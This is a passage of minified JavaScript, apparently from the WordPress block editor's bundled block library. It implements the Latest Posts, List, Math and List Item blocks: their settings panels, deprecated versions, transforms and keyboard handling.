image"),checked:k,onChange:P=>t({addLinkToFeaturedImage:P})})})]})]}),(0,ye.jsxs)(We.__experimentalToolsPanel,{label:(0,ze.__)("Sorting and filtering"),resetAll:()=>t({order:"desc",orderBy:"date",postsToShow:5,categories:void 0,selectedAuthor:void 0,columns:3}),dropdownMenuProps:M,children:[(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>n!=="desc"||i!=="date"||a!==5||l?.length>0||!!s,label:(0,ze.__)("Sort and filter"),onDeselect:()=>t({order:"desc",orderBy:"date",postsToShow:5,categories:void 0,selectedAuthor:void 0}),isShownByDefault:!0,children:(0,ye.jsx)(We.QueryControls,{order:n,orderBy:i,numberOfItems:a,onOrderChange:P=>t({order:P}),onOrderByChange:P=>t({orderBy:P}),onNumberOfItemsChange:P=>t({postsToShow:P}),categorySuggestions:R,onCategoryChange:F,selectedCategories:l,onAuthorChange:P=>t({selectedAuthor:P!==""?Number(P):void 0}),authorList:D??[],selectedAuthorId:s})}),f==="grid"&&(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>h!==3,label:(0,ze.__)("Columns"),onDeselect:()=>t({columns:3}),isShownByDefault:!0,children:(0,ye.jsx)(We.RangeControl,{__next40pxDefaultSize:!0,label:(0,ze.__)("Columns"),value:h,onChange:P=>t({columns:P}),min:2,max:r?Math.min(bN,r):bN,required:!0})})]})]})}function xN({attributes:e,setAttributes:t}){let r=(0,bZ.useInstanceId)(xN),{postsToShow:a,order:n,orderBy:i,categories:l,selectedAuthor:s,displayFeaturedImage:c,displayPostContentRadio:u,displayPostContent:m,displayPostDate:p,displayAuthor:d,postLayout:f,columns:h,excerptLength:g,featuredImageAlign:b,featuredImageSizeSlug:y,featuredImageSizeWidth:_,featuredImageSizeHeight:x,addLinkToFeaturedImage:k}=e,{latestPosts:S}=(0,dv.useSelect)(P=>{let{getEntityRecords:H}=P(yN.store),$=l&&l.length>0?l.map(G=>G.id):[],V=Object.fromEntries(Object.entries({categories:$,author:s,order:n,orderby:i,per_page:a,_embed:"author,wp:featuredmedia",ignore_sticky:!0}).filter(([,G])=>typeof G<"u"));return{latestPosts:H("postType","post",V)}},[a,n,i,l,s]),{createWarningNotice:C}=(0,dv.useDispatch)(vZ.store),E=P=>{P.preventDefault(),C((0,ze.__)("Links are disabled in the editor."),{id:`block-library/core/latest-posts/redirection-prevented/${r}`,type:"snackbar"})},B=!!S?.length,D=(0,ye.jsx)(Us.InspectorControls,{children:(0,ye.jsx)(Iye,{attributes:e,setAttributes:t,postCount:S?.length??0})}),M=(0,Us.useBlockProps)({className:w({"wp-block-latest-posts__list":!0,"is-grid":f==="grid","has-dates":p,"has-author":d,[`columns-${h}`]:f==="grid"})});if(!B)return(0,ye.jsxs)("div",{...M,children:[D,(0,ye.jsx)(We.Placeholder,{icon:q0,label:(0,ze.__)("Latest Posts"),children:Array.isArray(S)?(0,ze.__)("No posts found."):(0,ye.jsx)(We.Spinner,{})})]});let O=S.length>a?S.slice(0,a):S,R=[{icon:wl,title:(0,ze._x)("List view","Latest posts block display setting"),onClick:()=>t({postLayout:"list"}),isActive:f==="list"},{icon:kl,title:(0,ze._x)("Grid view","Latest posts block display setting"),onClick:()=>t({postLayout:"grid"}),isActive:f==="grid"}],F=(0,yh.getSettings)().formats.date;return(0,ye.jsxs)(ye.Fragment,{children:[D,(0,ye.jsx)(Us.BlockControls,{children:(0,ye.jsx)(We.ToolbarGroup,{controls:R})}),(0,ye.jsx)("ul",{...M,children:O.map(P=>{let H=P.title.rendered.trim(),$=P.excerpt.rendered,V=Bye(P),G=document.createElement("div");G.innerHTML=$,$=G.textContent||G.innerText||"";let{url:K,alt:X}=Pye(P,y),ee=w({"wp-block-latest-posts__featured-image":!0,[`align${b}`]:!!b}),ne=c&&K,J=ne&&(0,ye.jsx)("img",{src:K,alt:X,style:{maxWidth:_,maxHeight:x}}),ie=g<$.trim().split(" ").length&&P.excerpt.raw===""?(0,ye.jsxs)(ye.Fragment,{children:[$.trim().split(" ",g).join(" "),(0,yZ.createInterpolateElement)((0,ze.sprintf)((0,ze.__)("\u2026 <a>Read more<span>: %1$s</span></a>"),H||(0,ze.__)("(no title)")),{a:(0,ye.jsx)("a",{className:"wp-block-latest-posts__read-more",href:P.link,rel:"noopener noreferrer",onClick:E}),span:(0,ye.jsx)("span",{className:"screen-reader-text"})})]}):$;return(0,ye.jsxs)("li",{children:[ne&&(0,ye.jsx)("div",{className:ee,children:k?(0,ye.jsx)("a",{href:P.link,onClick:E,children:J}):J}),(0,ye.jsx)("a",{className:"wp-block-latest-posts__post-title",href:P.link,dangerouslySetInnerHTML:H?{__html:H}:void 0,onClick:E,children:H?null:(0,ze.__)("(no title)")}),d&&V&&(0,ye.jsx)("div",{className:"wp-block-latest-posts__post-author",children:(0,ze.sprintf)((0,ze.__)("by %s"),V.name)}),p&&P.date_gmt&&(0,ye.jsx)("time",{dateTime:(0,yh.format)("c",P.date_gmt),className:"wp-block-latest-posts__post-date",children:(0,yh.dateI18n)(F,P.date_gmt)}),m&&u==="excerpt"&&(0,ye.jsx)("div",{className:"wp-block-latest-posts__post-excerpt",children:ie}),m&&u==="full_post"&&(0,ye.jsx)("div",{className:"wp-block-latest-posts__post-full-content",dangerouslySetInnerHTML:{__html:P.content.raw.trim()}})]},P.id)})})]})}var{name:xZ}=bh,_Z={icon:X0,example:{},edit:xN,deprecated:fZ},Eye=()=>N({name:xZ,metadata:bh,settings:_Z});var SN={};q(SN,{init:()=>Gye,metadata:()=>y4,name:()=>VZ,settings:()=>FZ});var kh=o(I(),1);var Kl=o(T(),1);var xh=o(U(),1),g4={A:"upper-alpha",a:"lower-alpha",I:"upper-roman",i:"lower-roman"};function kN(e){let t=e.getAttribute("type"),r={ordered:e.tagName==="OL",anchor:e.id?e.id:void 0,start:e.getAttribute("start")?parseInt(e.getAttribute("start"),10):void 0,reversed:e.hasAttribute("reversed")?!0:void 0,type:t&&g4[t]?g4[t]:void 0},a=Array.from(e.children).map(n=>{let i=Array.from(n.childNodes).filter(d=>d.nodeType!==d.TEXT_NODE||d.textContent.trim().length!==0);i.reverse();let[l,...s]=i;if(!(l?.tagName==="UL"||l?.tagName==="OL"))return(0,xh.createBlock)("core/list-item",{content:n.innerHTML});let u=s.map(d=>d.nodeType===d.TEXT_NODE?d.textContent:d.outerHTML);u.reverse();let m={content:u.join("").trim()},p=[kN(l)];return(0,xh.createBlock)("core/list-item",m,p)});return(0,xh.createBlock)("core/list",r,a)}function v4(e){let{values:t,start:r,reversed:a,ordered:n,type:i,...l}=e,s=document.createElement(n?"ol":"ul");s.innerHTML=t,r&&s.setAttribute("start",r),a&&s.setAttribute("reversed",!0),i&&s.setAttribute("type",i);let[c]=(0,xh.rawHandler)({HTML:s.outerHTML});return[{...l,...c.attributes},c.innerBlocks]}function kZ(e){let{type:t}=e;return t&&g4[t]?{...e,type:g4[t]}:e}var $c=o(v(),1),Nye={attributes:{ordered:{type:"boolean",default:!1,role:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",role:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,__experimentalFontFamily:!0},color:{gradients:!0,link:!0},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},save({attributes:e}){let{ordered:t,values:r,type:a,reversed:n,start:i}=e;return(0,$c.jsx)(t?"ol":"ul",{...Kl.useBlockProps.save({type:a,reversed:n,start:i}),children:(0,$c.jsx)(Kl.RichText.Content,{value:r,multiline:"li"})})},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},Dye={attributes:{ordered:{type:"boolean",default:!1,role:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",role:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,__experimentalFontFamily:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},save({attributes:e}){let{ordered:t,values:r,type:a,reversed:n,start:i}=e;return(0,$c.jsx)(t?"ol":"ul",{...Kl.useBlockProps.save({type:a,reversed:n,start:i}),children:(0,$c.jsx)(Kl.RichText.Content,{value:r,multiline:"li"})})},migrate:v4},Lye={attributes:{ordered:{type:"boolean",default:!1,role:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",role:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalSlashInserter:!0},isEligible({type:e}){return!!e},save({attributes:e}){let{ordered:t,type:r,reversed:a,start:n}=e;return(0,$c.jsx)(t?"ol":"ul",{...Kl.useBlockProps.save({type:r,reversed:a,start:n}),children:(0,$c.jsx)(Kl.InnerBlocks.Content,{})})},migrate:kZ},Mye={attributes:{ordered:{type:"boolean",default:!1,role:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",__unstableMultilineWrapperTags:["ol","ul"],default:"",role:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,className:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__unstablePasteTextInline:!0,__experimentalSelector:"ol,ul",__experimentalOnMerge:"true",__experimentalSlashInserter:!0},save({attributes:e}){let{ordered:t,type:r,reversed:a,start:n}=e;return(0,$c.jsx)(t?"ol":"ul",{...Kl.useBlockProps.save({reversed:a,start:n,style:{listStyleType:t&&r!=="decimal"?r:void 0}}),children:(0,$c.jsx)(Kl.InnerBlocks.Content,{})})}},wZ=[Mye,Lye,Dye,Nye];var Yl=o(T(),1),b4=o(A(),1),mm=o(z(),1),Ql=o(I(),1);var DZ=o(U(),1),td=o(j(),1),LZ=o(Nf(),1);var Jo=o(I(),1),SZ=o(T(),1),ea=o(A(),1),TZ=o(j(),1);var Nn=o(v(),1),CZ=[{label:(0,Jo.__)("Numbers"),value:"decimal"},{label:(0,Jo.__)("Uppercase letters"),value:"upper-alpha"},{label:(0,Jo.__)("Lowercase letters"),value:"lower-alpha"},{label:(0,Jo.__)("Uppercase Roman numerals"),value:"upper-roman"},{label:(0,Jo.__)("Lowercase Roman numerals"),value:"lower-roman"}],Aye=({setAttributes:e,reversed:t,start:r,type:a})=>{let n=W();return(0,Nn.jsx)(SZ.InspectorControls,{children:TZ.Platform.isNative?(0,Nn.jsxs)(ea.PanelBody,{title:(0,Jo.__)("Settings"),children:[(0,Nn.jsx)(ea.SelectControl,{__next40pxDefaultSize:!0,label:(0,Jo.__)("List style"),options:CZ,value:a,onChange:i=>e({type:i})}),(0,Nn.jsx)(ea.TextControl,{__next40pxDefaultSize:!0,label:(0,Jo.__)("Start value"),type:"number",onChange:i=>{let l=parseInt(i,10);e({start:isNaN(l)?void 0:l})},value:Number.isInteger(r)?r.toString(10):"",step:"1"}),(0,Nn.jsx)(ea.ToggleControl,{label:(0,Jo.__)("Reverse order"),checked:t||!1,onChange:i=>{e({reversed:i||void 0})}})]}):(0,Nn.jsxs)(ea.__experimentalToolsPanel,{label:(0,Jo.__)("Settings"),resetAll:()=>{e({type:void 0,start:void 0,reversed:void 0})},dropdownMenuProps:n,children:[(0,Nn.jsx)(ea.__experimentalToolsPanelItem,{label:(0,Jo.__)("List style"),isShownByDefault:!0,hasValue:()=>!!a,onDeselect:()=>e({type:void 0}),children:(0,Nn.jsx)(ea.SelectControl,{__next40pxDefaultSize:!0,label:(0,Jo.__)("List style"),options:CZ,value:a||"decimal",onChange:i=>e({type:i})})}),(0,Nn.jsx)(ea.__experimentalToolsPanelItem,{label:(0,Jo.__)("Start value"),isShownByDefault:!0,hasValue:()=>!!r,onDeselect:()=>e({start:void 0}),children:(0,Nn.jsx)(ea.TextControl,{__next40pxDefaultSize:!0,label:(0,Jo.__)("Start value"),type:"number",onChange:i=>{let l=parseInt(i,10);e({start:isNaN(l)?void 0:l})},value:Number.isInteger(r)?r.toString(10):"",step:"1"})}),(0,Nn.jsx)(ea.__experimentalToolsPanelItem,{label:(0,Jo.__)("Reverse order"),isShownByDefault:!0,hasValue:()=>!!t,onDeselect:()=>e({reversed:void 0}),children:(0,Nn.jsx)(ea.ToggleControl,{label:(0,Jo.__)("Reverse order"),checked:t||!1,onChange:i=>{e({reversed:i||void 0})}})})]})})},PZ=Aye;var BZ=o(j(),1),IZ=o(v(),1);function Rye(e,t){let{ordered:r,...a}=e;return(0,IZ.jsx)(r?"ol":"ul",{ref:t,...a})}var EZ=(0,BZ.forwardRef)(Rye);var Dn=o(v(),1),zye={name:"core/list-item"},Vye=[["core/list-item"]],NZ=8;function Fye(e,t){let r=(0,mm.useRegistry)(),{updateBlockAttributes:a,replaceInnerBlocks:n}=(0,mm.useDispatch)(Yl.store);(0,td.useEffect)(()=>{if(!e.values)return;let[i,l]=v4(e);(0,LZ.default)("Value attribute on the list block",{since:"6.0",version:"6.5",alternative:"inner blocks"}),r.batch(()=>{a(t,i),n(t,l)})},[e.values])}function Oye(e){let{replaceBlocks:t,selectionChange:r}=(0,mm.useDispatch)(Yl.store),{getBlockRootClientId:a,getBlockAttributes:n,getBlock:i}=(0,mm.useSelect)(Yl.store);return(0,td.useCallback)(()=>{let l=a(e),s=n(l),c=(0,DZ.createBlock)("core/list-item",s),{innerBlocks:u}=i(e);t([l],[c,...u]),r(u[u.length-1].clientId)},[e])}function Hye({clientId:e}){let t=Oye(e),r=(0,mm.useSelect)(a=>{let{getBlockRootClientId:n,getBlockName:i}=a(Yl.store);return i(n(e))==="core/list-item"},[e]);return(0,Dn.jsx)(Dn.Fragment,{children:(0,Dn.jsx)(b4.ToolbarButton,{icon:(0,Ql.isRTL)()?z0:V0,title:(0,Ql.__)("Outdent"),description:(0,Ql.__)("Outdent list item"),disabled:!r,onClick:t})})}function MZ({attributes:e,setAttributes:t,clientId:r,style:a}){let{ordered:n,type:i,reversed:l,start:s}=e,c=(0,Yl.useBlockProps)({style:{...td.Platform.isNative&&a,listStyleType:n&&i!=="decimal"?i:void 0}}),u=(0,Yl.useInnerBlocksProps)(c,{defaultBlock:zye,directInsert:!0,template:Vye,templateLock:!1,templateInsertUpdatesSelection:!0,...td.Platform.isNative&&{marginVertical:NZ,marginHorizontal:NZ,renderAppender:!1},__experimentalCaptureToolbars:!0});Fye(e,r);let m=(0,Dn.jsxs)(Yl.BlockControls,{group:"block",children:[(0,Dn.jsx)(b4.ToolbarButton,{icon:(0,Ql.isRTL)()?M0:A0,title:(0,Ql.__)("Unordered"),description:(0,Ql.__)("Convert to unordered list"),isActive:n===!1,onClick:()=>{t({ordered:!1})}}),(0,Dn.jsx)(b4.ToolbarButton,{icon:(0,Ql.isRTL)()?R0:zi,title:(0,Ql.__)("Ordered"),description:(0,Ql.__)("Convert to ordered list"),isActive:n===!0,onClick:()=>{t({ordered:!0})}}),(0,Dn.jsx)(Hye,{clientId:r})]});return(0,Dn.jsxs)(Dn.Fragment,{children:[(0,Dn.jsx)(EZ,{ordered:n,reversed:l,start:s,...u}),m,n&&(0,Dn.jsx)(PZ,{setAttributes:t,reversed:l,start:s,type:i})]})}var y4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/list",title:"List",category:"text",allowedBlocks:["core/list-item"],description:"An organized collection of items displayed in a specific order.",keywords:["bullet list","ordered list","numbered list"],textdomain:"default",attributes:{ordered:{type:"boolean",default:!1,role:"content"},values:{type:"string",source:"html",selector:"ol,ul",multiline:"li",default:"",role:"content"},type:{type:"string"},start:{type:"number"},reversed:{type:"boolean"},placeholder:{type:"string"}},supports:{anchor:!0,html:!1,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__unstablePasteTextInline:!0,__experimentalOnMerge:!0,__experimentalSlashInserter:!0,interactivity:{clientNavigation:!0},listView:!0},selectors:{border:".wp-block-list:not(.wp-block-list .wp-block-list)"},editorStyle:"wp-block-list-editor",style:"wp-block-list"};var x4=o(T(),1),wN=o(v(),1);function AZ({attributes:e}){let{ordered:t,type:r,reversed:a,start:n}=e;return(0,wN.jsx)(t?"ol":"ul",{...x4.useBlockProps.save({reversed:a,start:n,style:{listStyleType:t&&r!=="decimal"?r:void 0}}),children:(0,wN.jsx)(x4.InnerBlocks.Content,{})})}var qc=o(U(),1),_h=o(Wu(),1);function RZ({phrasingContentSchema:e}){let t={...e,ul:{},ol:{attributes:["type","start","reversed"]}};return["ul","ol"].forEach(r=>{t[r].children={li:{children:t}}}),t}function CN(e){return e.flatMap(({name:t,attributes:r,innerBlocks:a=[]})=>t==="core/list-item"?[r.content,...CN(a)]:CN(a))}var Uye={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph","core/heading"],transform:e=>{let t=[];if(e.length>1)t=e.map(({content:r})=>(0,qc.createBlock)("core/list-item",{content:r}));else if(e.length===1){let r=(0,_h.create)({html:e[0].content});t=(0,_h.split)(r,`
`).map(a=>(0,qc.createBlock)("core/list-item",{content:(0,_h.toHTMLString)({value:a})}))}return(0,qc.createBlock)("core/list",{anchor:e.anchor},t)}},{type:"raw",selector:"ol,ul",schema:e=>({ol:RZ(e).ol,ul:RZ(e).ul}),transform:kN},...["*","-"].map(e=>({type:"prefix",prefix:e,transform(t){return(0,qc.createBlock)("core/list",{},[(0,qc.createBlock)("core/list-item",{content:t})])}})),...["1.","1)"].map(e=>({type:"prefix",prefix:e,transform(t){return(0,qc.createBlock)("core/list",{ordered:!0},[(0,qc.createBlock)("core/list-item",{content:t})])}}))],to:[...["core/paragraph","core/heading"].map(e=>({type:"block",blocks:[e],transform:(t,r)=>CN(r).map(a=>(0,qc.createBlock)(e,{content:a}))}))]},zZ=Uye;var{name:VZ}=y4,FZ={icon:wl,example:{innerBlocks:[{name:"core/list-item",attributes:{content:(0,kh.__)("Alice.")}},{name:"core/list-item",attributes:{content:(0,kh.__)("The White Rabbit.")}},{name:"core/list-item",attributes:{content:(0,kh.__)("The Cheshire Cat.")}},{name:"core/list-item",attributes:{content:(0,kh.__)("The Mad Hatter.")}},{name:"core/list-item",attributes:{content:(0,kh.__)("The Queen of Hearts.")}}]},transforms:zZ,edit:MZ,save:AZ,deprecated:wZ},Gye=()=>N({name:VZ,metadata:y4,settings:FZ});var PN={};q(PN,{init:()=>Zye,metadata:()=>k4,name:()=>KZ,settings:()=>QZ});var pm=o(I(),1),_4=o(T(),1),fm=o(A(),1),dm=o(j(),1),HZ=o(z(),1),jZ=o(fv(),1);var fi=o(v(),1),{Badge:Wye}=Z(fm.privateApis);function UZ({attributes:e,setAttributes:t,isSelected:r}){let{latex:a,mathML:n}=e,[i,l]=(0,dm.useState)(),[s,c]=(0,dm.useState)(null),[u,m]=(0,dm.useState)(),p=(0,dm.useRef)(a),{__unstableMarkNextChangeAsNotPersistent:d}=(0,HZ.useDispatch)(_4.store);(0,dm.useEffect)(()=>{import("@wordpress/latex-to-mathml").then(h=>{m(()=>h.default),p.current&&(d(),t({mathML:h.default(p.current,{displayMode:!0})}))})},[p,t,d]);let f=(0,_4.useBlockProps)({ref:l,position:"relative"});return(0,fi.jsxs)("div",{...f,children:[n?(0,fi.jsx)("math",{display:"block",dangerouslySetInnerHTML:{__html:n}}):"\u200B",r&&(0,fi.jsx)(fm.Popover,{placement:"bottom-start",offset:8,anchor:i,focusOnMount:!1,__unstableSlotName:"__unstable-block-tools-after",children:(0,fi.jsx)("div",{style:{padding:"4px",minWidth:"300px"},children:(0,fi.jsxs)(fm.__experimentalVStack,{spacing:1,children:[(0,fi.jsx)(fm.TextareaControl,{__next40pxDefaultSize:!0,label:(0,pm.__)("LaTeX math syntax"),hideLabelFromVision:!0,value:a,className:"wp-block-math__textarea-control",onChange:h=>{if(!u){t({latex:h});return}let g="";try{g=u(h,{displayMode:!0}),c(null)}catch(b){c(b.message),(0,jZ.speak)((0,pm.sprintf)((0,pm.__)("Error parsing mathematical expression: %s"),b.message))}t({mathML:g,latex:h})},placeholder:(0,pm.__)("e.g., x^2, \\frac{a}{b}")}),s&&(0,fi.jsxs)(fi.Fragment,{children:[(0,fi.jsx)(Wye,{intent:"error",className:"wp-block-math__error",children:(0,pm.sprintf)((0,pm.__)("Error: %s"),s)}),(0,fi.jsx)("style",{children:".wp-block-math__error .components-badge__content{white-space:normal}"})]})]})})})]})}var k4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/math",title:"Math",category:"text",description:"Display mathematical notation using LaTeX.",keywords:["equation","formula","latex","mathematics"],textdomain:"default",supports:{anchor:!0,html:!1,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,__experimentalDefaultControls:{fontSize:!0}}},attributes:{latex:{type:"string",role:"content"},mathML:{type:"string",source:"html",selector:"math"}}};var GZ=o(T(),1),TN=o(v(),1);function WZ({attributes:e}){let{latex:t,mathML:r}=e;return t?(0,TN.jsx)("div",{...GZ.useBlockProps.save(),children:(0,TN.jsx)("math",{display:"block",dangerouslySetInnerHTML:{__html:r}})}):null}var $Z=o(T(),1),qZ=o(v(),1),qye={attributes:{latex:{type:"string",role:"content"},mathML:{type:"string",source:"html",selector:"math"}},save({attributes:e}){let{latex:t,mathML:r}=e;return t?(0,qZ.jsx)("math",{...$Z.useBlockProps.save(),display:"block",dangerouslySetInnerHTML:{__html:r}}):null}},ZZ=[qye];var{name:KZ}=k4,QZ={icon:ST,example:{attributes:{latex:"x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}",mathML:'<semantics><mrow><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">\u2212</mo><mi>b</mi><mo>\xB1</mo><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>\u2212</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}</annotation></semantics>'},viewportWidth:300},edit:UZ,save:WZ,deprecated:ZZ},Zye=()=>N({name:KZ,metadata:k4,settings:QZ});var RN={};q(RN,{init:()=>e2e,metadata:()=>w4,name:()=>gK,settings:()=>P4});var dK=o(I(),1);var fK=o(T(),1),hK=o(U(),1);var w4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/list-item",title:"List Item",category:"text",parent:["core/list"],allowedBlocks:["core/list"],description:"An individual item within a list.",textdomain:"default",attributes:{placeholder:{type:"string"},content:{type:"rich-text",source:"rich-text",selector:"li",role:"content"}},supports:{anchor:!0,className:!1,splitting:!0,__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0},color:{gradients:!0,link:!0,background:!0,__experimentalDefaultControls:{text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},selectors:{root:".wp-block-list > li",border:".wp-block-list:not(.wp-block-list .wp-block-list) > li"}};var Ws=o(T(),1),Gs=o(I(),1),AN=o(A(),1);var lK=o(ue(),1),sK=o(z(),1),cK=o(Cs(),1);var YZ=o(j(),1),wh=o(z(),1),BN=o(T(),1),XZ=o(U(),1);function Zc(){let e=(0,wh.useRegistry)(),{moveBlocksToPosition:t,removeBlock:r,insertBlock:a,updateBlockListSettings:n}=(0,wh.useDispatch)(BN.store),{getBlockRootClientId:i,getBlockName:l,getBlockOrder:s,getBlockIndex:c,getSelectedBlockClientIds:u,getBlock:m,getBlockListSettings:p}=(0,wh.useSelect)(BN.store);function d(f){let h=i(f),g=i(h);if(g&&l(g)==="core/list-item")return g}return(0,YZ.useCallback)((f=u())=>{if(Array.isArray(f)||(f=[f]),!f.length)return;let h=f[0];if(l(h)!=="core/list-item")return;let g=d(h);if(!g)return;let b=i(h),y=f[f.length-1],x=s(b).slice(c(y)+1);return e.batch(()=>{if(x.length){let k=s(h)[0];if(!k){let S=(0,XZ.cloneBlock)(m(b),{},[]);k=S.clientId,a(S,0,h,!1),n(k,p(b))}t(x,b,k)}t(f,b,i(g),c(g)+1),s(b).length||r(b,!1)}),!0},[])}var JZ=o(j(),1),C4=o(z(),1),IN=o(T(),1),hv=o(U(),1);function gv(e){let{replaceBlocks:t,selectionChange:r,multiSelect:a}=(0,C4.useDispatch)(IN.store),{getBlock:n,getPreviousBlockClientId:i,getSelectionStart:l,getSelectionEnd:s,hasMultiSelection:c,getMultiSelectedBlockClientIds:u}=(0,C4.useSelect)(IN.store);return(0,JZ.useCallback)(()=>{let m=c(),p=m?u():[e],d=p.map(y=>(0,hv.cloneBlock)(n(y))),f=i(e),h=(0,hv.cloneBlock)(n(f));h.innerBlocks?.length||(h.innerBlocks=[(0,hv.createBlock)("core/list")]),h.innerBlocks[h.innerBlocks.length-1].innerBlocks.push(...d);let g=l(),b=s();return t([f,...p],[h]),m?a(d[0].clientId,d[d.length-1].clientId):r(d[0].clientId,b.attributeKey,b.clientId===g.clientId?g.offset:b.offset,b.offset),!0},[e])}var rd=o(U(),1),eK=o(j(),1),tK=o(ue(),1),rK=o(Cs(),1),S4=o(z(),1),EN=o(T(),1);function NN(e){let{replaceBlocks:t,selectionChange:r}=(0,S4.useDispatch)(EN.store),{getBlock:a,getBlockRootClientId:n,getBlockIndex:i,getBlockName:l}=(0,S4.useSelect)(EN.store),s=(0,eK.useRef)(e);s.current=e;let c=Zc();return(0,tK.useRefEffect)(u=>{function m(p){if(p.defaultPrevented||p.keyCode!==rK.ENTER)return;let{content:d,clientId:f}=s.current;if(d.length)return;if(p.preventDefault(),l(n(n(s.current.clientId)))==="core/list-item"){c();return}let g=a(n(f)),b=i(f),y=(0,rd.cloneBlock)({...g,innerBlocks:g.innerBlocks.slice(0,b)}),_=(0,rd.createBlock)((0,rd.getDefaultBlockName)()),x=[...g.innerBlocks[b].innerBlocks[0]?.innerBlocks||[],...g.innerBlocks.slice(b+1)],k=x.length?[(0,rd.cloneBlock)({...g,innerBlocks:x})]:[];t(g.clientId,[y,_,...k],1),r(_.clientId)}return u.addEventListener("keydown",m),()=>{u.removeEventListener("keydown",m)}},[])}var oK=o(ue(),1),vv=o(Cs(),1),aK=o(T(),1),nK=o(z(),1);function DN(e){let{getSelectionStart:t,getSelectionEnd:r,getBlockIndex:a}=(0,nK.useSelect)(aK.store),n=gv(e),i=Zc();return(0,oK.useRefEffect)(l=>{function s(c){let{keyCode:u,shiftKey:m,altKey:p,metaKey:d,ctrlKey:f}=c;if(c.defaultPrevented||u!==vv.SPACE&&u!==vv.TAB||p||d||f)return;let h=t(),g=r();h.offset===0&&g.offset===0&&(m?u===vv.TAB&&i()&&c.preventDefault():a(e)!==0&&n()&&c.preventDefault())}return l.addEventListener("keydown",s),()=>{l.removeEventListener("keydown",s)}},[e,n])}var Ch=o(z(),1),LN=o(T(),1),iK=o(U(),1);function MN(e,t){let r=(0,Ch.useRegistry)(),{getPreviousBlockClientId:a,getNextBlockClientId:n,getBlockOrder:i,getBlockRootClientId:l,getBlockName:s,getBlock:c}=(0,Ch.useSelect)(LN.store),{mergeBlocks:u,moveBlocksToPosition:m,removeBlock:p}=(0,Ch.useDispatch)(LN.store),d=Zc();function f(y){let _=i(y);return _.length?f(_[_.length-1]):y}function h(y){let _=l(y),x=l(_);if(x&&s(x)==="core/list-item")return x}function g(y){let _=n(y);if(_)return _;let x=h(y);if(x)return g(x)}function b(y){let _=i(y);return _.length?i(_[0])[0]:g(y)}return y=>{function _(x,k){r.batch(()=>{let[S]=i(k);S&&(a(k)===x&&!i(x).length?m([S],k,x):m(i(S),S,l(x))),u(x,k)})}if(y){let 